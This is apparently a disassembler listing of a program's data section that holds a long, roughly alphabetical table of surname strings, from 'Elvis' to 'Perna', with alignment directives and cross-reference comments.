aElvis		db 'Elvis',0
		align 10h
aEncinas	db 'Encinas',0
aEnyeart	db 'Enyeart',0
aEppling	db 'Eppling',0
aErbach		db 'Erbach',0
		align 10h
aErdman		db 'Erdman',0
		align 4
aErdos		db 'Erdos',0
		align 10h
aErez		db 'Erez',0
		align 4
aEspinoza	db 'Espinoza',0
		align 4
aEstes		db 'Estes',0
		align 4
aEtter		db 'Etter',0
		align 4
aEuripides	db 'Euripides',0
		align 10h
aEverett	db 'Everett',0
aFabbris	db 'Fabbris',0
aFagan		db 'Fagan',0
		align 4
aFaioes		db 'Faioes',0
		align 10h
aFalcoAcosta	db 'Falco-Acosta',0
		align 10h
aFalorsi	db 'Falorsi',0
aFaris		db 'Faris',0
		align 10h
aFarone		db 'Farone',0
		align 4
aFarren		db 'Farren',0
		align 10h
aFasso		db 'Fasso',27h,0
		align 4
aFates		db 'Fates',0
		align 10h
aFeigenbaum	db 'Feigenbaum',0
		align 4
aFejzo		db 'Fejzo',0
		align 4
aFeldman	db 'Feldman',0
aFernald	db 'Fernald',0
aFernandes	db 'Fernandes',0
		align 10h
aFerrante	db 'Ferrante',0
		align 4
aFerriell	db 'Ferriell',0
		align 4
aFeuer		db 'Feuer',0
		align 10h
aFido		db 'Fido',0
		align 4
aField		db 'Field',0
		align 10h
aFink		db 'Fink',0
		align 4
aFinkelstein	db 'Finkelstein',0
aFinnegan	db 'Finnegan',0
		align 10h
aFiorina	db 'Fiorina',0
aFisk		db 'Fisk',0
		align 10h
aFitzmaurice	db 'Fitzmaurice',0
aFlier		db 'Flier',0
		align 4
aFlores		db 'Flores',0
		align 4
aFolks		db 'Folks',0
		align 4
aForester	db 'Forester',0
		align 10h
aFortes		db 'Fortes',0
		align 4
aFortier	db 'Fortier',0
aFossey		db 'Fossey',0
		align 4
aFossi		db 'Fossi',0
		align 10h
aFrancisco	db 'Francisco',0
		align 4
aFranklinKenea	db 'Franklin-Kenea',0
		align 4
aFranz		db 'Franz',0
		align 4
aFrazierDavis	db 'Frazier-Davis',0
		align 4
aFreid		db 'Freid',0
		align 4
aFreundlich	db 'Freundlich',0
		align 4
aFried		db 'Fried',0
		align 10h
aFriedland	db 'Friedland',0
		align 4
aFrisken	db 'Frisken',0
aFrowiss	db 'Frowiss',0
aFryberger	db 'Fryberger',0
		align 4
aFrye		db 'Frye',0
		align 10h
aFujiiAbe	db 'Fujii-Abe',0
		align 4
aFuller		db 'Fuller',0
		align 4
aFurth		db 'Furth',0
		align 4
aFusaro		db 'Fusaro',0
		align 4
aGabrielli	db 'Gabrielli',0
		align 10h
aGaggiotti	db 'Gaggiotti',0
		align 4
aGaleotti	db 'Galeotti',0
		align 4
aGalwey		db 'Galwey',0
		align 10h
aGambini	db 'Gambini',0
aGarfield	db 'Garfield',0
		align 4
aGarman		db 'Garman',0
		align 4
aGaronna	db 'Garonna',0
aGeller		db 'Geller',0
		align 4
aGemberling	db 'Gemberling',0
		align 4
aGeorgi		db 'Georgi',0
		align 10h
aGerrett	db 'Gerrett',0
aGhorai		db 'Ghorai',0
		align 10h
aGibbens	db 'Gibbens',0
aGibson		db 'Gibson',0
		align 10h
aGilbert	db 'Gilbert',0
aGili		db 'Gili',0
		align 10h
aGill		db 'Gill',0
		align 4
aGillispie	db 'Gillispie',0
		align 4
aGist		db 'Gist',0
		align 4
aGleason	db 'Gleason',0
aGlegg		db 'Glegg',0
		align 4
aGlendon	db 'Glendon',0
aGoldfarb	db 'Goldfarb',0
		align 10h
aGoncalves	db 'Goncalves',0
		align 4
aGood		db 'Good',0
		align 4
aGoodearl	db 'Goodearl',0
		align 10h
aGoody		db 'Goody',0
		align 4
aGozzi		db 'Gozzi',0
		align 10h
aGravell	db 'Gravell',0
aGreenberg	db 'Greenberg',0
		align 4
aGreenfeld	db 'Greenfeld',0
		align 10h
aGriffiths	db 'Griffiths',0
		align 4
aGrigoletto	db 'Grigoletto',0
		align 4
aGrummell	db 'Grummell',0
		align 4
aGruner		db 'Gruner',0
		align 4
aGruppe		db 'Gruppe',0
		align 4
aGuenthart	db 'Guenthart',0
		align 10h
aGunn		db 'Gunn',0
		align 4
aGuo		db 'Guo',0
aHa		db 'Ha',0
		align 10h
aHaar		db 'Haar',0
		align 4
aHackman	db 'Hackman',0
aHackshaw	db 'Hackshaw',0
		align 4
aHaley		db 'Haley',0
		align 4
aHalkias	db 'Halkias',0
aHallowell	db 'Hallowell',0
		align 4
aHalpert	db 'Halpert',0
aHambarzumjan	db 'Hambarzumjan',0
		align 10h
aHamer		db 'Hamer',0
		align 4
aHammerness	db 'Hammerness',0
		align 4
aHand		db 'Hand',0
		align 4
aHanssen	db 'Hanssen',0
aHarding	db 'Harding',0
aHargraves	db 'Hargraves',0
		align 4
aHarlow		db 'Harlow',0
		align 10h
aHarrigan	db 'Harrigan',0
		align 4
aHartman	db 'Hartman',0
aHartmann	db 'Hartmann',0
		align 10h
aHartnett	db 'Hartnett',0
		align 4
aHarwell	db 'Harwell',0
aHaviaras	db 'Haviaras',0
		align 10h
aHawkes		db 'Hawkes',0
		align 4
aHayes		db 'Hayes',0
		align 10h
aHaynes		db 'Haynes',0
		align 4
aHazlewood	db 'Hazlewood',0
		align 4
aHeermans	db 'Heermans',0
		align 10h
aHeft		db 'Heft',0
		align 4
aHeiland	db 'Heiland',0
aHellman	db 'Hellman',0
aHellmiss	db 'Hellmiss',0
		align 4
aHelprin	db 'Helprin',0
aHemphill	db 'Hemphill',0
		align 4
aHenery		db 'Henery',0
		align 10h
aHenrichs	db 'Henrichs',0
		align 4
aHernandez	db 'Hernandez',0
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: .data:0043E360o
aHester		db 'Hester',0           ; DATA XREF: .data:0043E364o
		align 4
aHeubert	db 'Heubert',0
aHeyeck		db 'Heyeck',0           ; DATA XREF: .data:0043E36Co
		align 4
aHimmelfarb	db 'Himmelfarb',0
		align 4
aHind		db 'Hind',0
		align 4
aHirst		db 'Hirst',0
		align 4
aHitchcock	db 'Hitchcock',0
		align 10h
aHoang		db 'Hoang',0
		align 4
aHock		db 'Hock',0
		align 10h
aHoffer		db 'Hoffer',0
		align 4
aHoffman	db 'Hoffman',0
aHokanson	db 'Hokanson',0
		align 4
aHokoda		db 'Hokoda',0
		align 4
aHolmes		db 'Holmes',0
		align 4
aHoloien	db 'Holoien',0
aHolter		db 'Holter',0
		align 4
aHolway		db 'Holway',0
		align 4
aHolzman	db 'Holzman',0
aHooker		db 'Hooker',0
		align 4
aHopkins	db 'Hopkins',0
aHorsley	db 'Horsley',0
aHoshida	db 'Hoshida',0
aHostage	db 'Hostage',0
aHottle		db 'Hottle',0
		align 4
aHoward		db 'Howard',0
		align 4
aHoy		db 'Hoy',0
aHuey		db 'Huey',0
		align 10h
aHuidekoper	db 'Huidekoper',0
		align 4
aHungerford	db 'Hungerford',0
		align 4
aHuntington	db 'Huntington',0
		align 4
aHupp		db 'Hupp',0
		align 4
aHurtubise	db 'Hurtubise',0
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .data:0043E3E4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .data:0043E3E8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .data:0043E3ECo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .data:0043E3F0o
		align 4
aIgarashi	db 'Igarashi',0         ; DATA XREF: .data:0043E3F4o
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: .data:0043E3F8o
aInniss		db 'Inniss',0           ; DATA XREF: .data:0043E3FCo
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: .data:0043E400o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .data:0043E404o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .data:0043E408o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: .data:0043E40Co
		align 4
aIyer		db 'Iyer',0             ; DATA XREF: .data:0043E410o
		align 10h
aJacenko	db 'Jacenko',0          ; DATA XREF: .data:0043E414o
aJackson	db 'Jackson',0          ; DATA XREF: .data:0043E418o
aJagers		db 'Jagers',0           ; DATA XREF: .data:0043E41Co
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: .data:0043E420o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: .data:0043E424o
		align 4
aJain		db 'Jain',0             ; DATA XREF: .data:0043E428o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: .data:0043E42Co
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .data:0043E430o
		align 4
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .data:0043E434o
		align 10h
aJarrell	db 'Jarrell',0          ; DATA XREF: .data:0043E438o
aJay		db 'Jay',0              ; DATA XREF: .data:0043E43Co
aJeffers	db 'Jeffers',0          ; DATA XREF: .data:0043E440o
aJellis		db 'Jellis',0           ; DATA XREF: .data:0043E444o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .data:0043E448o
aJespersen	db 'Jespersen',0        ; DATA XREF: .data:0043E44Co
		align 10h
aJewett		db 'Jewett',0           ; DATA XREF: .data:0043E450o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .data:0043E454o
aJohannsen	db 'Johannsen',0
		align 10h
aJohns		db 'Johns',0
		align 4
aJolly		db 'Jolly',0
		align 10h
aJorgensen	db 'Jorgensen',0
		align 4
aJucks		db 'Jucks',0
		align 4
aJuliano	db 'Juliano',0
aJulious	db 'Julious',0
aKabbash	db 'Kabbash',0
aKaboolian	db 'Kaboolian',0
		align 4
aKafadar	db 'Kafadar',0
aKalbfleisch	db 'Kalbfleisch',0
aKaligian	db 'Kaligian',0
		align 4
aKalil		db 'Kalil',0
		align 10h
aKalinowski	db 'Kalinowski',0
		align 4
aKalman		db 'Kalman',0
		align 4
aKamel		db 'Kamel',0
		align 4
aKangis		db 'Kangis',0
		align 4
aKarpouzes	db 'Karpouzes',0
		align 10h
aKassower	db 'Kassower',0
		align 4
aKasten		db 'Kasten',0
		align 4
aKawachi	db 'Kawachi',0
aKee		db 'Kee',0
aKeenan		db 'Keenan',0
		align 4
aKeepper	db 'Keepper',0
aKeith		db 'Keith',0            ; DATA XREF: .data:0043E4B8o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: .data:0043E4BCo
		align 10h
aKelsey		db 'Kelsey',0           ; DATA XREF: .data:0043E4C0o
		align 4
aKempton	db 'Kempton',0          ; DATA XREF: .data:0043E4C4o
aKemsley	db 'Kemsley',0          ; DATA XREF: .data:0043E4C8o
aKendall	db 'Kendall',0          ; DATA XREF: .data:0043E4CCo
aKerry		db 'Kerry',0            ; DATA XREF: .data:0043E4D0o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: .data:0043E4D4o
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: .data:0043E4D8o
		align 4
aKimmel		db 'Kimmel',0           ; DATA XREF: .data:0043E4DCo
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: .data:0043E4E0o
aKimura		db 'Kimura',0           ; DATA XREF: .data:0043E4E4o
		align 10h
aKindall	db 'Kindall',0          ; DATA XREF: .data:0043E4E8o
aKinsley	db 'Kinsley',0          ; DATA XREF: .data:0043E4ECo
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .data:0043E4F0o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: .data:0043E4F4o
aKittridge	db 'Kittridge',0        ; DATA XREF: .data:0043E4F8o
		align 4
aKleckner	db 'Kleckner',0         ; DATA XREF: .data:0043E4FCo
		align 10h
aKleiman	db 'Kleiman',0          ; DATA XREF: .data:0043E500o
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .data:0043E504o
aKlemperer	db 'Klemperer',0        ; DATA XREF: .data:0043E508o
		align 10h
aKling		db 'Kling',0            ; DATA XREF: .data:0043E50Co
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .data:0043E510o
aKlint		db 'Klint',0            ; DATA XREF: .data:0043E514o
		align 4
aKnuff		db 'Knuff',0            ; DATA XREF: .data:0043E518o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .data:0043E51Co
aKoch		db 'Koch',0             ; DATA XREF: .data:0043E520o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .data:0043E524o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .data:0043E528o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: .data:0043E52Co
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: .data:0043E530o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .data:0043E534o
		align 4
aKool		db 'Kool',0             ; DATA XREF: .data:0043E538o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: .data:0043E53Co
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: .data:0043E540o
		align 10h
aKovaks		db 'Kovaks',0           ; DATA XREF: .data:0043E544o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: .data:0043E548o
aKrailo		db 'Krailo',0           ; DATA XREF: .data:0043E54Co
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: .data:0043E550o
aKraus		db 'Kraus',0            ; DATA XREF: .data:0043E554o
		align 4
aKroemer	db 'Kroemer',0          ; DATA XREF: .data:0043E558o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .data:0043E55Co
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .data:0043E560o
aKumar		db 'Kumar',0            ; DATA XREF: .data:0043E564o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: .data:0043E568o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .data:0043E56Co
		align 4
aLa		db 'La',0               ; DATA XREF: .data:0043E570o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: .data:0043E574o
aLafler		db 'Lafler',0           ; DATA XREF: .data:0043E578o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: .data:0043E57Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .data:0043E580o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .data:0043E584o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .data:0043E588o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: .data:0043E58Co
		align 10h
aLanzit		db 'Lanzit',0           ; DATA XREF: .data:0043E590o
		align 4
aLaserna	db 'Laserna',0          ; DATA XREF: .data:0043E594o
aLashley	db 'Lashley',0          ; DATA XREF: .data:0043E598o
aLawless	db 'Lawless',0          ; DATA XREF: .data:0043E59Co
aLecar		db 'Lecar',0            ; DATA XREF: .data:0043E5A0o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: .data:0043E5A4o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: .data:0043E5A8o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .data:0043E5ACo
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .data:0043E5B0o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .data:0043E5B4o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: .data:0043E5B8o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: .data:0043E5BCo
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: .data:0043E5C0o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: .data:0043E5C4o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: .data:0043E5C8o
		align 10h
aLight		db 'Light',0            ; DATA XREF: .data:0043E5CCo
		align 4
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .data:0043E5D0o
		align 4
aLim		db 'Lim',0              ; DATA XREF: .data:0043E5D4o
aLinares	db 'Linares',0          ; DATA XREF: .data:0043E5D8o
aLinda		db 'Linda',0            ; DATA XREF: .data:0043E5DCo
		align 4
aLinder		db 'Linder',0           ; DATA XREF: .data:0043E5E0o
		align 10h
aLine_0		db 'Line',0             ; DATA XREF: .data:0043E5E4o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: .data:0043E5E8o
aLinzee		db 'Linzee',0           ; DATA XREF: .data:0043E5ECo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .data:0043E5F0o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: .data:0043E5F4o
		align 10h
aLittle		db 'Little',0           ; DATA XREF: .data:0043E5F8o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: .data:0043E5FCo
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: .data:0043E600o
		align 4
aLivi		db 'Livi',0             ; DATA XREF: .data:0043E604o
		align 4
aLivolsi	db 'Livolsi',0          ; DATA XREF: .data:0043E608o
aLizardo	db 'Lizardo',0          ; DATA XREF: .data:0043E60Co
aLocatelli	db 'Locatelli',0        ; DATA XREF: .data:0043E610o
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: .data:0043E614o
		align 4
aLoss		db 'Loss',0             ; DATA XREF: .data:0043E618o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .data:0043E61Co
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .data:0043E620o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: .data:0043E624o
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: .data:0043E628o
		align 4
aLucas		db 'Lucas',0            ; DATA XREF: .data:0043E62Co
		align 10h
aLuciano	db 'Luciano',0          ; DATA XREF: .data:0043E630o
aLuczkow	db 'Luczkow',0          ; DATA XREF: .data:0043E634o
aLuecke		db 'Luecke',0           ; DATA XREF: .data:0043E638o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: .data:0043E63Co
aLuoma		db 'Luoma',0            ; DATA XREF: .data:0043E640o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: .data:0043E644o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .data:0043E648o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .data:0043E64Co
aMa		db 'Ma',0               ; DATA XREF: .data:0043E650o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .data:0043E654o
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: .data:0043E658o
		align 10h
aMaceachern	db 'Maceachern',0       ; DATA XREF: .data:0043E65Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: .data:0043E660o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .data:0043E664o
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: .data:0043E668o
		align 10h
aMacy		db 'Macy',0             ; DATA XREF: .data:0043E66Co
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: .data:0043E670o
aMaggio		db 'Maggio',0           ; DATA XREF: .data:0043E674o
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: .data:0043E678o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: .data:0043E67Co
		align 4
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .data:0043E680o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: .data:0043E684o
aMalatesta	db 'Malatesta',0        ; DATA XREF: .data:0043E688o
		align 4
aMaller		db 'Maller',0
		align 4
aMalova		db 'Malova',0
		align 4
aManalis	db 'Manalis',0
aMandel		db 'Mandel',0
		align 4
aManganiello	db 'Manganiello',0
aMantovan	db 'Mantovan',0
		align 4
aMarch_0	db 'March',0            ; DATA XREF: .data:0043E6A4o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .data:0043E6A8o
		align 4
aMarcus		db 'Marcus',0
		align 10h
aMargalit	db 'Margalit',0
		align 4
aMargetts	db 'Margetts',0         ; DATA XREF: .data:0043E6B4o
		align 4
aMarques	db 'Marques',0          ; DATA XREF: .data:0043E6B8o
aMartinez	db 'Martinez',0
		align 4
aMartochio	db 'Martochio',0
		align 4
aMarton		db 'Marton',0
		align 10h
aMarubini	db 'Marubini',0
		align 4
aMass		db 'Mass',0
		align 4
aMatalka	db 'Matalka',0
aMatarazzo	db 'Matarazzo',0
		align 4
aMatsukata	db 'Matsukata',0
		align 4
aMattson	db 'Mattson',0
aMauzy		db 'Mauzy',0
		align 4
aMay_0		db 'May',0
aMazzali	db 'Mazzali',0          ; DATA XREF: .data:0043E6E8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .data:0043E6ECo
		align 4
aMcbride	db 'Mcbride',0
aMccaffery	db 'Mccaffery',0
		align 10h
aMccall		db 'Mccall',0
		align 4
aMcclearn	db 'Mcclearn',0
		align 4
aMcdowell	db 'Mcdowell',0
		align 10h
aMcelroy	db 'Mcelroy',0
aMcfadden	db 'McFadden',0
		align 4
aMcghee		db 'Mcghee',0
		align 4
aMcgoldrick	db 'Mcgoldrick',0
		align 4
aMcilroy	db 'McIlroy',0
aMcintosh	db 'Mcintosh',0
		align 4
aMckenna	db 'Mckenna',0
aMclane		db 'Mclane',0
		align 4
aMclaren	db 'Mclaren',0
aMcnealy	db 'Mcnealy',0
aMcnulty	db 'Mcnulty',0
aMeccariello	db 'Meccariello',0
aMemisoglu	db 'Memisoglu',0
		align 4
aMenzies	db 'Menzies',0
aMerikoski	db 'Merikoski',0
		align 10h
aMerlani	db 'Merlani',0
aMerminod	db 'Merminod',0
		align 4
aMerseth	db 'Merseth',0
aMerz		db 'Merz',0
		align 4
aMetelka	db 'Metelka',0
aMetropolis	db 'Metropolis',0
		align 4
aMeurer		db 'Meurer',0
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: .data:0043E75Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .data:0043E760o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .data:0043E764o
		align 4
aMills		db 'Mills',0            ; DATA XREF: .data:0043E768o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .data:0043E76Co
		align 4
aMini		db 'Mini',0             ; DATA XREF: .data:0043E770o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: .data:0043E774o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .data:0043E778o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .data:0043E77Co
aMittal		db 'Mittal',0           ; DATA XREF: .data:0043E780o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: .data:0043E784o
aModestino	db 'Modestino',0        ; DATA XREF: .data:0043E788o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: .data:0043E78Co
aMohr		db 'Mohr',0             ; DATA XREF: .data:0043E790o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .data:0043E794o
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: .data:0043E798o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .data:0043E79Co
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .data:0043E7A0o
		align 10h
aMorani		db 'Morani',0           ; DATA XREF: .data:0043E7A4o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: .data:0043E7A8o
aMorrison	db 'Morrison',0         ; DATA XREF: .data:0043E7ACo
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .data:0043E7B0o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: .data:0043E7B4o
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: .data:0043E7B8o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: .data:0043E7BCo
		align 10h
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .data:0043E7C0o
		align 4
aMotooka	db 'Motooka',0          ; DATA XREF: .data:0043E7C4o
aMudarri	db 'Mudarri',0          ; DATA XREF: .data:0043E7C8o
aMuello		db 'Muello',0           ; DATA XREF: .data:0043E7CCo
		align 4
aMugnai		db 'Mugnai',0           ; DATA XREF: .data:0043E7D0o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .data:0043E7D4o
aMulroy		db 'Mulroy',0           ; DATA XREF: .data:0043E7D8o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .data:0043E7DCo
aMussachio	db 'Mussachio',0        ; DATA XREF: .data:0043E7E0o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: .data:0043E7E4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .data:0043E7E8o
		align 4
aNardi		db 'Nardi',0            ; DATA XREF: .data:0043E7ECo
		align 4
aNardone	db 'Nardone',0          ; DATA XREF: .data:0043E7F0o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .data:0043E7F4o
aNayduch	db 'Nayduch',0          ; DATA XREF: .data:0043E7F8o
aNelson		db 'Nelson',0           ; DATA XREF: .data:0043E7FCo
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .data:0043E800o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .data:0043E804o
		align 4
aNeuman		db 'Neuman',0           ; DATA XREF: .data:0043E808o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .data:0043E80Co
aNewlin		db 'Newlin',0           ; DATA XREF: .data:0043E810o
		align 4
aNg		db 'Ng',0               ; DATA XREF: .data:0043E814o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .data:0043E818o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: .data:0043E81Co
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .data:0043E820o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: .data:0043E824o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: .data:0043E828o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .data:0043E82Co
		align 4
aNuzum		db 'Nuzum',0            ; DATA XREF: .data:0043E830o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .data:0043E834o
aOgata		db 'Ogata',0            ; DATA XREF: .data:0043E838o
		align 4
aOh		db 'Oh',0               ; DATA XREF: .data:0043E83Co
		align 10h
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .data:0043E840o
aOldford	db 'Oldford',0          ; DATA XREF: .data:0043E844o
aOlsen		db 'Olsen',0            ; DATA XREF: .data:0043E848o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: .data:0043E84Co
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: .data:0043E850o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .data:0043E854o
		align 4
aOman		db 'Oman',0             ; DATA XREF: .data:0043E858o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .data:0043E85Co
aOpel		db 'Opel',0             ; DATA XREF: .data:0043E860o
		align 10h
aOray		db 'Oray',0             ; DATA XREF: .data:0043E864o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: .data:0043E868o
aOrsi		db 'Orsi',0             ; DATA XREF: .data:0043E86Co
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: .data:0043E870o
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .data:0043E874o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .data:0043E878o
		align 4
aOtten		db 'Otten',0            ; DATA XREF: .data:0043E87Co
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: .data:0043E880o
aOvid		db 'Ovid',0             ; DATA XREF: .data:0043E884o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .data:0043E888o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: .data:0043E88Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .data:0043E890o
		align 4
aPalepu		db 'Palepu',0           ; DATA XREF: .data:0043E894o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: .data:0043E898o
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .data:0043E89Co
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: .data:0043E8A0o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: .data:0043E8A4o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .data:0043E8A8o
		align 4
aPaoletti	db 'Paoletti',0         ; DATA XREF: .data:0043E8ACo
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .data:0043E8B0o
aParris		db 'Parris',0           ; DATA XREF: .data:0043E8B4o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: .data:0043E8B8o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: .data:0043E8BCo
		align 4
aPatefield	db 'Patefield',0        ; DATA XREF: .data:0043E8C0o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: .data:0043E8C4o
aPattullo	db 'Pattullo',0         ; DATA XREF: .data:0043E8C8o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .data:0043E8CCo
aPavlon		db 'Pavlon',0           ; DATA XREF: .data:0043E8D0o
		align 4
aPawloski	db 'Pawloski',0         ; DATA XREF: .data:0043E8D4o
		align 4
aPaynter	db 'Paynter',0          ; DATA XREF: .data:0043E8D8o
aPeabody	db 'Peabody',0          ; DATA XREF: .data:0043E8DCo
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .data:0043E8E0o
		align 4
aPederson	db 'Pederson',0         ; DATA XREF: .data:0043E8E4o
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: .data:0043E8E8o
aPenny		db 'Penny',0            ; DATA XREF: .data:0043E8ECo
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: .data:0043E8F0o
aPerko		db 'Perko',0            ; DATA XREF: .data:0043E8F4o
		align 10h
aPerlak		db 'Perlak',0           ; DATA XREF: .data:0043E8F8o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: .data:0043E8FCo
aPerna		db 'Perna',0            ; DATA XREF: .data:0043E900o
		align 4
